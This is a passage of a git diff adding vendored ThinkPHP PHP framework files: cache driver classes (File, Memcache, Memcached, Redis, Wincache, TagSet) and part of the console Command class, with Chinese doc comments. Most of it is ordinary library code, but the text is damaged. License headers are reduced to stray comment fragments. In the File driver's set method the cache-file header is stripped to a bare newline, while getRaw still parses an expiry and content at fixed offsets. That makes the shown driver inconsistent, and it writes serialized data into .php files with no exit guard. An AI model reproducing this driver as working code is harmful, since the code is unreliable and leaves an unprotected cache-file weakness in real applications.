* @access public + * @param string|array $name 标签名 + * @return TagSet + */ + public function tag($name): TagSet + { + $name = (array) $name; + $key = implode('-', $name); + + if (!isset($this->tag[$key])) { + $this->tag[$key] = new TagSet($name, $this); + } + + return $this->tag[$key]; + } + + /** + * 获取标签包含的缓存标识 + * @access public + * @param string $tag 标签标识 + * @return array + */ + public function getTagItems(string $tag): array + { + $name = $this->getTagKey($tag); + return $this->get($name, []); + } + + /** + * 获取实际标签名 + * @access public + * @param string $tag 标签名 + * @return string + */ + public function getTagKey(string $tag): string + { + return $this->options['tag_prefix'] . md5($tag); + } + + /** + * 序列化数据 + * @access protected + * @param mixed $data 缓存数据 + * @return string + */ + protected function serialize($data): string + { + if (is_numeric($data)) { + return (string) $data; + } + + $serialize = $this->options['serialize'][0] ?? "serialize"; + + return $serialize($data); + } + + /** + * 反序列化数据 + * @access protected + * @param string $data 缓存数据 + * @return mixed + */ + protected function unserialize(string $data) + { + if (is_numeric($data)) { + return $data; + } + + $unserialize = $this->options['serialize'][1] ?? "unserialize"; + + return $unserialize($data); + } + + /** + * 返回句柄对象,可执行其它高级方法 + * + * @access public + * @return object + */ + public function handler() + { + return $this->handler; + } + + /** + * 返回缓存读取次数 + * @access public + * @return int + */ + public function getReadTimes(): int + { + return $this->readTimes; + } + + /** + * 返回缓存写入次数 + * @access public + * @return int + */ + public function getWriteTimes(): int + { + return $this->writeTimes; + } + + /** + * 读取缓存 + * @access public + * @param iterable $keys 缓存变量名 + * @param mixed $default 默认值 + * @return iterable + * @throws InvalidArgumentException + */ + public function getMultiple($keys, $default = null): iterable + { + $result = []; + + foreach ($keys as $key) { + $result[$key] = $this->get($key, $default); + } + + return $result; + } + + /** + * 写入缓存 + * @access public + * @param iterable $values 缓存数据 + * @param null|int|\DateInterval $ttl 有效时间 0为永久 + * @return bool + */ + public function setMultiple($values, $ttl = null): bool + { + foreach ($values as $key => $val) { + $result = $this->set($key, $val, $ttl); + + if (false === $result) { + return false; + } + } + + return true; + } + + /** + * 删除缓存 + * @access public + * @param iterable $keys 缓存变量名 + * @return bool + * @throws InvalidArgumentException + */ + public function deleteMultiple($keys): bool + { + foreach ($keys as $key) { + $result = $this->delete($key); + + if (false === $result) { + return false; + } + } + + return true; + } + + public function __call($method, $args) + { + return call_user_func_array([$this->handler, $method], $args); + } +} diff --git a/vendor/topthink/framework/src/think/cache/TagSet.php b/vendor/topthink/framework/src/think/cache/TagSet.php new file mode 100644 index 0000000..db5768b --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/TagSet.php @@ -0,0 +1,132 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache; + +/** + * 标签集合 + */ +class TagSet +{ + /** + * 标签的缓存Key + * @var array + */ + protected $tag; + + /** + * 缓存句柄 + * @var Driver + */ + protected $handler; + + /** + * 架构函数 + * @access public + * @param array $tag 缓存标签 + * @param Driver $cache 缓存对象 + */ + public function __construct(array $tag, Driver $cache) + { + $this->tag = $tag; + $this->handler = $cache; + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param integer|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set(string $name, $value, $expire = null): bool + { + $this->handler->set($name, $value, $expire); + + $this->append($name); + + return true; + } + + /** + * 追加缓存标识到标签 + * @access public + * @param string $name 缓存变量名 + * @return void + */ + public function append(string $name): void + { + $name = $this->handler->getCacheKey($name); + + foreach ($this->tag as $tag) { + $key = $this->handler->getTagKey($tag); + $this->handler->push($key, $name); + } + } + + /** + * 写入缓存 + * @access public + * @param iterable $values 缓存数据 + * @param null|int|\DateInterval $ttl 有效时间 0为永久 + * @return bool + */ + public function setMultiple($values, $ttl = null): bool + { + foreach ($values as $key => $val) { + $result = $this->set($key, $val, $ttl); + + if (false === $result) { + return false; + } + } + + return true; + } + + /** + * 如果不存在则写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param int $expire 有效时间 0为永久 + * @return mixed + */ + public function remember(string $name, $value, $expire = null) + { + $result = $this->handler->remember($name, $value, $expire); + + $this->append($name); + + return $result; + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + // 指定标签清除 + foreach ($this->tag as $tag) { + $names = $this->handler->getTagItems($tag); + $this->handler->clearTag($names); + + $key = $this->handler->getTagKey($tag); + $this->handler->delete($key); + } + + return true; + } +} diff --git a/vendor/topthink/framework/src/think/cache/driver/File.php b/vendor/topthink/framework/src/think/cache/driver/File.php new file mode 100644 index 0000000..ccec3ea --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/driver/File.php @@ -0,0 +1,304 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache\driver; + +use FilesystemIterator; +use think\App; +use think\cache\Driver; + +/** + * 文件缓存类 + */ +class File extends Driver +{ + /** + * 配置参数 + * @var array + */ + protected $options = [ + 'expire' => 0, + 'cache_subdir' => true, + 'prefix' => '', + 'path' => '', + 'hash_type' => 'md5', + 'data_compress' => false, + 'tag_prefix' => 'tag:', + 'serialize' => [], + ]; + + /** + * 架构函数 + * @param App $app + * @param array $options 参数 + */ + public function __construct(App $app, array $options = []) + { + if (!empty($options)) { + $this->options = array_merge($this->options, $options); + } + + if (empty($this->options['path'])) { + $this->options['path'] = $app->getRuntimePath() . 'cache'; + } + + if (substr($this->options['path'], -1) != DIRECTORY_SEPARATOR) { + $this->options['path'] .= DIRECTORY_SEPARATOR; + } + } + + /** + * 取得变量的存储文件名 + * @access public + * @param string $name 缓存变量名 + * @return string + */ + public function getCacheKey(string $name): string + { + $name = hash($this->options['hash_type'], $name); + + if ($this->options['cache_subdir']) { + // 使用子目录 + $name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2); + } + + if ($this->options['prefix']) { + $name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name; + } + + return $this->options['path'] . $name . '.php'; + } + + /** + * 获取缓存数据 + * @param string $name 缓存标识名 + * @return array|null + */ + protected function getRaw(string $name) + { + $filename = $this->getCacheKey($name); + + if (!is_file($filename)) { + return; + } + + $content = @file_get_contents($filename); + + if (false !== $content) { + $expire = (int) substr($content, 8, 12); + if (0 != $expire && time() - $expire > filemtime($filename)) { + //缓存过期删除缓存文件 + $this->unlink($filename); + return; + } + + $content = substr($content, 32); + + if ($this->options['data_compress'] && function_exists('gzcompress')) { + //启用数据压缩 + $content = gzuncompress($content); + } + + return is_string($content) ? ['content' => $content, 'expire' => $expire] : null; + } + } + + /** + * 判断缓存是否存在 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name): bool + { + return $this->getRaw($name) !== null; + } + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null) + { + $this->readTimes++; + + $raw = $this->getRaw($name); + + return is_null($raw) ? $default : $this->unserialize($raw['content']); + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param int|\DateTime $expire 有效时间 0为永久 + * @return bool + */ + public function set($name, $value, $expire = null): bool + { + $this->writeTimes++; + + if (is_null($expire)) { + $expire = $this->options['expire']; + } + + $expire = $this->getExpireTime($expire); + $filename = $this->getCacheKey($name); + + $dir = dirname($filename); + + if (!is_dir($dir)) { + try { + mkdir($dir, 0755, true); + } catch (\Exception $e) { + // 创建失败 + } + } + + $data = $this->serialize($value); + + if ($this->options['data_compress'] && function_exists('gzcompress')) { + //数据压缩 + $data = gzcompress($data, 3); + } + + $data = "\n" . $data; + $result = file_put_contents($filename, $data); + + if ($result) { + clearstatcache(); + return true; + } + + return false; + } + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1) + { + if ($raw = $this->getRaw($name)) { + $value = $this->unserialize($raw['content']) + $step; + $expire = $raw['expire']; + } else { + $value = $step; + $expire = 0; + } + + return $this->set($name, $value, $expire) ? $value : false; + } + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1) + { + return $this->inc($name, -$step); + } + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function delete($name): bool + { + $this->writeTimes++; + + return $this->unlink($this->getCacheKey($name)); + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + $this->writeTimes++; + + $dirname = $this->options['path'] . $this->options['prefix']; + + $this->rmdir($dirname); + + return true; + } + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys): void + { + foreach ($keys as $key) { + $this->unlink($key); + } + } + + /** + * 判断文件是否存在后,删除 + * @access private + * @param string $path + * @return bool + */ + private function unlink(string $path): bool + { + try { + return is_file($path) && unlink($path); + } catch (\Exception $e) { + return false; + } + } + + /** + * 删除文件夹 + * @param $dirname + * @return bool + */ + private function rmdir($dirname) + { + if (!is_dir($dirname)) { + return false; + } + + $items = new FilesystemIterator($dirname); + + foreach ($items as $item) { + if ($item->isDir() && !$item->isLink()) { + $this->rmdir($item->getPathname()); + } else { + $this->unlink($item->getPathname()); + } + } + + @rmdir($dirname); + + return true; + } + +} diff --git a/vendor/topthink/framework/src/think/cache/driver/Memcache.php b/vendor/topthink/framework/src/think/cache/driver/Memcache.php new file mode 100644 index 0000000..81b988f --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/driver/Memcache.php @@ -0,0 +1,209 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache\driver; + +use think\cache\Driver; + +/** + * Memcache缓存类 + */ +class Memcache extends Driver +{ + /** + * 配置参数 + * @var array + */ + protected $options = [ + 'host' => '127.0.0.1', + 'port' => 11211, + 'expire' => 0, + 'timeout' => 0, // 超时时间(单位:毫秒) + 'persistent' => true, + 'prefix' => '', + 'tag_prefix' => 'tag:', + 'serialize' => [], + ]; + + /** + * 架构函数 + * @access public + * @param array $options 缓存参数 + * @throws \BadFunctionCallException + */ + public function __construct(array $options = []) + { + if (!extension_loaded('memcache')) { + throw new \BadFunctionCallException('not support: memcache'); + } + + if (!empty($options)) { + $this->options = array_merge($this->options, $options); + } + + $this->handler = new \Memcache; + + // 支持集群 + $hosts = (array) $this->options['host']; + $ports = (array) $this->options['port']; + + if (empty($ports[0])) { + $ports[0] = 11211; + } + + // 建立连接 + foreach ($hosts as $i => $host) { + $port = $ports[$i] ?? $ports[0]; + $this->options['timeout'] > 0 ? + $this->handler->addServer($host, (int) $port, $this->options['persistent'], 1, (int) $this->options['timeout']) : + $this->handler->addServer($host, (int) $port, $this->options['persistent'], 1); + } + } + + /** + * 判断缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name): bool + { + $key = $this->getCacheKey($name); + + return false !== $this->handler->get($key); + } + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null) + { + $this->readTimes++; + + $result = $this->handler->get($this->getCacheKey($name)); + + return false !== $result ? $this->unserialize($result) : $default; + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param int|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set($name, $value, $expire = null): bool + { + $this->writeTimes++; + + if (is_null($expire)) { + $expire = $this->options['expire']; + } + + $key = $this->getCacheKey($name); + $expire = $this->getExpireTime($expire); + $value = $this->serialize($value); + + if ($this->handler->set($key, $value, 0, $expire)) { + return true; + } + + return false; + } + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + if ($this->handler->get($key)) { + return $this->handler->increment($key, $step); + } + + return $this->handler->set($key, $step); + } + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + $value = $this->handler->get($key) - $step; + $res = $this->handler->set($key, $value); + + return !$res ? false : $value; + } + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @param bool|false $ttl + * @return bool + */ + public function delete($name, $ttl = false): bool + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + return false === $ttl ? + $this->handler->delete($key) : + $this->handler->delete($key, $ttl); + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + $this->writeTimes++; + + return $this->handler->flush(); + } + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys): void + { + foreach ($keys as $key) { + $this->handler->delete($key); + } + } + +} diff --git a/vendor/topthink/framework/src/think/cache/driver/Memcached.php b/vendor/topthink/framework/src/think/cache/driver/Memcached.php new file mode 100644 index 0000000..e6c5606 --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/driver/Memcached.php @@ -0,0 +1,221 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache\driver; + +use think\cache\Driver; + +/** + * Memcached缓存类 + */ +class Memcached extends Driver +{ + /** + * 配置参数 + * @var array + */ + protected $options = [ + 'host' => '127.0.0.1', + 'port' => 11211, + 'expire' => 0, + 'timeout' => 0, // 超时时间(单位:毫秒) + 'prefix' => '', + 'username' => '', //账号 + 'password' => '', //密码 + 'option' => [], + 'tag_prefix' => 'tag:', + 'serialize' => [], + ]; + + /** + * 架构函数 + * @access public + * @param array $options 缓存参数 + */ + public function __construct(array $options = []) + { + if (!extension_loaded('memcached')) { + throw new \BadFunctionCallException('not support: memcached'); + } + + if (!empty($options)) { + $this->options = array_merge($this->options, $options); + } + + $this->handler = new \Memcached; + + if (!empty($this->options['option'])) { + $this->handler->setOptions($this->options['option']); + } + + // 设置连接超时时间(单位:毫秒) + if ($this->options['timeout'] > 0) { + $this->handler->setOption(\Memcached::OPT_CONNECT_TIMEOUT, $this->options['timeout']); + } + + // 支持集群 + $hosts = (array) $this->options['host']; + $ports = (array) $this->options['port']; + if (empty($ports[0])) { + $ports[0] = 11211; + } + + // 建立连接 + $servers = []; + foreach ($hosts as $i => $host) { + $servers[] = [$host, $ports[$i] ?? $ports[0], 1]; + } + + $this->handler->addServers($servers); + + if ('' != $this->options['username']) { + $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true); + $this->handler->setSaslAuthData($this->options['username'], $this->options['password']); + } + } + + /** + * 判断缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name): bool + { + $key = $this->getCacheKey($name); + + return $this->handler->get($key) ? true : false; + } + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null) + { + $this->readTimes++; + + $result = $this->handler->get($this->getCacheKey($name)); + + return false !== $result ? $this->unserialize($result) : $default; + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param integer|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set($name, $value, $expire = null): bool + { + $this->writeTimes++; + + if (is_null($expire)) { + $expire = $this->options['expire']; + } + + $key = $this->getCacheKey($name); + $expire = $this->getExpireTime($expire); + $value = $this->serialize($value); + + if ($this->handler->set($key, $value, $expire)) { + return true; + } + + return false; + } + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + if ($this->handler->get($key)) { + return $this->handler->increment($key, $step); + } + + return $this->handler->set($key, $step); + } + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + $value = $this->handler->get($key) - $step; + $res = $this->handler->set($key, $value); + + return !$res ? false : $value; + } + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @param bool|false $ttl + * @return bool + */ + public function delete($name, $ttl = false): bool + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + return false === $ttl ? + $this->handler->delete($key) : + $this->handler->delete($key, $ttl); + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + $this->writeTimes++; + + return $this->handler->flush(); + } + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys): void + { + $this->handler->deleteMulti($keys); + } + +} diff --git a/vendor/topthink/framework/src/think/cache/driver/Redis.php b/vendor/topthink/framework/src/think/cache/driver/Redis.php new file mode 100644 index 0000000..a87f02d --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/driver/Redis.php @@ -0,0 +1,249 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache\driver; + +use think\cache\Driver; + +/** + * Redis缓存驱动,适合单机部署、有前端代理实现高可用的场景,性能最好 + * 有需要在业务层实现读写分离、或者使用RedisCluster的需求,请使用Redisd驱动 + * + * 要求安装phpredis扩展:https://github.com/nicolasff/phpredis + * @author 尘缘 <130775@qq.com> + */ +class Redis extends Driver +{ + /** @var \Predis\Client|\Redis */ + protected $handler; + + /** + * 配置参数 + * @var array + */ + protected $options = [ + 'host' => '127.0.0.1', + 'port' => 6379, + 'password' => '', + 'select' => 0, + 'timeout' => 0, + 'expire' => 0, + 'persistent' => false, + 'prefix' => '', + 'tag_prefix' => 'tag:', + 'serialize' => [], + ]; + + /** + * 架构函数 + * @access public + * @param array $options 缓存参数 + */ + public function __construct(array $options = []) + { + if (!empty($options)) { + $this->options = array_merge($this->options, $options); + } + + if (extension_loaded('redis')) { + $this->handler = new \Redis; + + if ($this->options['persistent']) { + $this->handler->pconnect($this->options['host'], (int) $this->options['port'], (int) $this->options['timeout'], 'persistent_id_' . $this->options['select']); + } else { + $this->handler->connect($this->options['host'], (int) $this->options['port'], (int) $this->options['timeout']); + } + + if ('' != $this->options['password']) { + $this->handler->auth($this->options['password']); + } + } elseif (class_exists('\Predis\Client')) { + $params = []; + foreach ($this->options as $key => $val) { + if (in_array($key, ['aggregate', 'cluster', 'connections', 'exceptions', 'prefix', 'profile', 'replication', 'parameters'])) { + $params[$key] = $val; + unset($this->options[$key]); + } + } + + if ('' == $this->options['password']) { + unset($this->options['password']); + } + + $this->handler = new \Predis\Client($this->options, $params); + + $this->options['prefix'] = ''; + } else { + throw new \BadFunctionCallException('not support: redis'); + } + + if (0 != $this->options['select']) { + $this->handler->select((int) $this->options['select']); + } + } + + /** + * 判断缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name): bool + { + return $this->handler->exists($this->getCacheKey($name)) ? true : false; + } + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null) + { + $this->readTimes++; + $key = $this->getCacheKey($name); + $value = $this->handler->get($key); + + if (false === $value || is_null($value)) { + return $default; + } + + return $this->unserialize($value); + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param integer|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set($name, $value, $expire = null): bool + { + $this->writeTimes++; + + if (is_null($expire)) { + $expire = $this->options['expire']; + } + + $key = $this->getCacheKey($name); + $expire = $this->getExpireTime($expire); + $value = $this->serialize($value); + + if ($expire) { + $this->handler->setex($key, $expire, $value); + } else { + $this->handler->set($key, $value); + } + + return true; + } + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1) + { + $this->writeTimes++; + $key = $this->getCacheKey($name); + + return $this->handler->incrby($key, $step); + } + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1) + { + $this->writeTimes++; + $key = $this->getCacheKey($name); + + return $this->handler->decrby($key, $step); + } + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function delete($name): bool + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + $result = $this->handler->del($key); + return $result > 0; + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + $this->writeTimes++; + $this->handler->flushDB(); + return true; + } + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys): void + { + // 指定标签清除 + $this->handler->del($keys); + } + + /** + * 追加(数组)缓存数据 + * @access public + * @param string $name 缓存标识 + * @param mixed $value 数据 + * @return void + */ + public function push(string $name, $value): void + { + $key = $this->getCacheKey($name); + $this->handler->sAdd($key, $value); + } + + /** + * 获取标签包含的缓存标识 + * @access public + * @param string $tag 缓存标签 + * @return array + */ + public function getTagItems(string $tag): array + { + $name = $this->getTagKey($tag); + $key = $this->getCacheKey($name); + return $this->handler->sMembers($key); + } + +} diff --git a/vendor/topthink/framework/src/think/cache/driver/Wincache.php b/vendor/topthink/framework/src/think/cache/driver/Wincache.php new file mode 100644 index 0000000..8b8e26d --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/driver/Wincache.php @@ -0,0 +1,175 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache\driver; + +use think\cache\Driver; + +/** + * Wincache缓存驱动 + */ +class Wincache extends Driver +{ + /** + * 配置参数 + * @var array + */ + protected $options = [ + 'prefix' => '', + 'expire' => 0, + 'tag_prefix' => 'tag:', + 'serialize' => [], + ]; + + /** + * 架构函数 + * @access public + * @param array $options 缓存参数 + * @throws \BadFunctionCallException + */ + public function __construct(array $options = []) + { + if (!function_exists('wincache_ucache_info')) { + throw new \BadFunctionCallException('not support: WinCache'); + } + + if (!empty($options)) { + $this->options = array_merge($this->options, $options); + } + } + + /** + * 判断缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name): bool + { + $this->readTimes++; + + $key = $this->getCacheKey($name); + + return wincache_ucache_exists($key); + } + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null) + { + $this->readTimes++; + + $key = $this->getCacheKey($name); + + return wincache_ucache_exists($key) ? $this->unserialize(wincache_ucache_get($key)) : $default; + } + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param integer|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set($name, $value, $expire = null): bool + { + $this->writeTimes++; + + if (is_null($expire)) { + $expire = $this->options['expire']; + } + + $key = $this->getCacheKey($name); + $expire = $this->getExpireTime($expire); + $value = $this->serialize($value); + + if (wincache_ucache_set($key, $value, $expire)) { + return true; + } + + return false; + } + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + return wincache_ucache_inc($key, $step); + } + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1) + { + $this->writeTimes++; + + $key = $this->getCacheKey($name); + + return wincache_ucache_dec($key, $step); + } + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function delete($name): bool + { + $this->writeTimes++; + + return wincache_ucache_delete($this->getCacheKey($name)); + } + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(): bool + { + $this->writeTimes++; + return wincache_ucache_clear(); + } + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys): void + { + wincache_ucache_delete($keys); + } + +} diff --git a/vendor/topthink/framework/src/think/console/Command.php b/vendor/topthink/framework/src/think/console/Command.php new file mode 100644 index 0000000..bd3fb20 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/Command.php @@ -0,0 +1,504 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console; + +use Exception; +use InvalidArgumentException; +use LogicException; +use think\App; +use think\Console; +use think\console\input\Argument; +use think\console\input\Definition; +use think\console\input\Option; + +abstract class Command +{ + + /** @var Console */ + private $console; + private $name; + private $processTitle; + private $aliases = []; + private $definition; + private $help; + private $description; + private $ignoreValidationErrors = false; + private $consoleDefinitionMerged = false; + private $consoleDefinitionMergedWithArgs = false; + private $synopsis = []; + private $usages = []; + + /** @var Input */ + protected $input; + + /** @var Output */ + protected $output; + + /** @var App */ + protected $app; + + /** + * 构造方法 + * @throws LogicException + * @api + */ + public function __construct() + { + $this->definition = new Definition(); + + $this->configure(); + + if (!$this->name) { + throw new LogicException(sprintf('The command defined in "%s" cannot have an empty name.', get_class($this))); + } + } + + /** + * 忽略验证错误 + */ + public function ignoreValidationErrors(): void + { + $this->ignoreValidationErrors = true; + } + + /** + * 设置控制台 + * @param Console $console + */ + public function setConsole(Console $console = null): void + { + $this->console = $console; + } + + /** + * 获取控制台 + * @return Console + * @api + */ + public function getConsole(): Console + { + return $this->console; + } + + /** + * 设置app + * @param App $app + */ + public function setApp(App $app) + { + $this->app = $app; + } + + /** + * 获取app + * @return App + */ + public function getApp() + { + return $this->app; + } + + /** + * 是否有效 + * @return bool + */ + public function isEnabled(): bool + { + return true; + } + + /** + * 配置指令 + */ + protected function configure() + { + } + + /** + * 执行指令 + * @param Input $input + * @param Output $output + * @return null|int + * @throws LogicException + * @see setCode() + */ + protected function execute(Input $input, Output $output) + { + return $this->app->invoke([$this, 'handle']); + } + + /** + * 用户验证 + * @param Input $input + * @param Output $output + */ + protected function interact(Input $input, Output $output) + { + } + + /** + * 初始化 + * @param Input $input An InputInterface instance + * @param Output $output An OutputInterface instance + */ + protected function initialize(Input $input, Output $output) + { + } + + /** + * 执行 + * @param Input $input + * @param Output $output + * @return int + * @throws Exception + * @see setCode() + * @see execute() + */ + public function run(Input $input, Output $output): int + { + $this->input = $input; + $this->output = $output; + + $this->getSynopsis(true); + $this->getSynopsis(false); + + $this->mergeConsoleDefinition(); + + try { + $input->bind($this->definition); + } catch (Exception $e) { + if (!$this->ignoreValidationErrors) { + throw $e; + } + } + + $this->initialize($input, $output); + + if (null !== $this->processTitle) { + if (function_exists('cli_set_process_title')) { + if (false === @cli_set_process_title($this->processTitle)) { + if ('Darwin' === PHP_OS) { + $output->writeln('Running "cli_get_process_title" as an unprivileged user is not supported on MacOS.'); + } else { + $error = error_get_last(); + trigger_error($error['message'], E_USER_WARNING); + } + } + } elseif (function_exists('setproctitle')) { + setproctitle($this->processTitle); + } elseif (Output::VERBOSITY_VERY_VERBOSE === $output->getVerbosity()) { + $output->writeln('Install the proctitle PECL to be able to change the process title.'); + } + } + + if ($input->isInteractive()) { + $this->interact($input, $output); + } + + $input->validate(); + + $statusCode = $this->execute($input, $output); + + return is_numeric($statusCode) ? (int) $statusCode : 0; + } + + /** + * 合并参数定义 + * @param bool $mergeArgs + */ + public function mergeConsoleDefinition(bool $mergeArgs = true) + { + if (null === $this->console + || (true === $this->consoleDefinitionMerged + && ($this->consoleDefinitionMergedWithArgs || !$mergeArgs)) + ) { + return; + } + + if ($mergeArgs) { + $currentArguments = $this->definition->getArguments(); + $this->definition->setArguments($this->console->getDefinition()->getArguments()); + $this->definition->addArguments($currentArguments); + } + + $this->definition->addOptions($this->console->getDefinition()->getOptions()); + + $this->consoleDefinitionMerged = true; + if ($mergeArgs) { + $this->consoleDefinitionMergedWithArgs = true; + } + } + + /** + * 设置参数定义 + * @param array|Definition $definition + * @return Command + * @api + */ + public function setDefinition($definition) + { + if ($definition instanceof Definition) { + $this->definition = $definition; + } else { + $this->definition->setDefinition($definition); + } + + $this->consoleDefinitionMerged = false; + + return $this; + } + + /** + * 获取参数定义 + * @return Definition + * @api + */ + public function getDefinition(): Definition + { + return $this->definition; + } + + /** + * 获取当前指令的参数定义 + * @return Definition + */ + public function getNativeDefinition(): Definition + { + return $this->getDefinition(); + } + + /** + * 添加参数 + * @param string $name 名称 + * @param int $mode 类型 + * @param string $description 描述 + * @param mixed $default 默认值 + * @return Command + */ + public function addArgument(string $name, int $mode = null, string $description = '', $default = null) + { + $this->definition->addArgument(new Argument($name, $mode, $description, $default)); + + return $this; + } + + /** + * 添加选项 + * @param string $name 选项名称 + * @param string $shortcut 别名 + * @param int $mode 类型 + * @param string $description 描述 + * @param mixed $default 默认值 + * @return Command + */ + public function addOption(string $name, string $shortcut = null, int $mode = null, string $description = '', $default = null) + { + $this->definition->addOption(new Option($name, $shortcut, $mode, $description, $default)); + + return $this; + } + + /** + * 设置指令名称 + * @param string $name + * @return Command + * @throws InvalidArgumentException + */ + public function setName(string $name) + { + $this->validateName($name); + + $this->name = $name; + + return $this; + } + + /** + * 设置进程名称 + * + * PHP 5.5+ or the proctitle PECL library is required + * + * @param string $title The process title + * + * @return $this + */ + public function setProcessTitle($title) + { + $this->processTitle = $title; + + return $this; + } + + /** + * 获取指令名称 + * @return string + */ + public function getName(): string + { + return $this->name ?: ''; + } + + /** + * 设置描述 + * @param string $description + * @return Command + */ + public function setDescription(string $description) + { + $this->description = $description; + + return $this; + } + + /** + * 获取描述 + * @return string + */ + public function getDescription(): string + { + return $this->description ?: ''; + } + + /** + * 设置帮助信息 + * @param string $help + * @return Command + */ + public function setHelp(string $help) + { + $this->help = $help; + + return $this; + } + + /** + * 获取帮助信息 + * @return string + */ + public function getHelp(): string + { 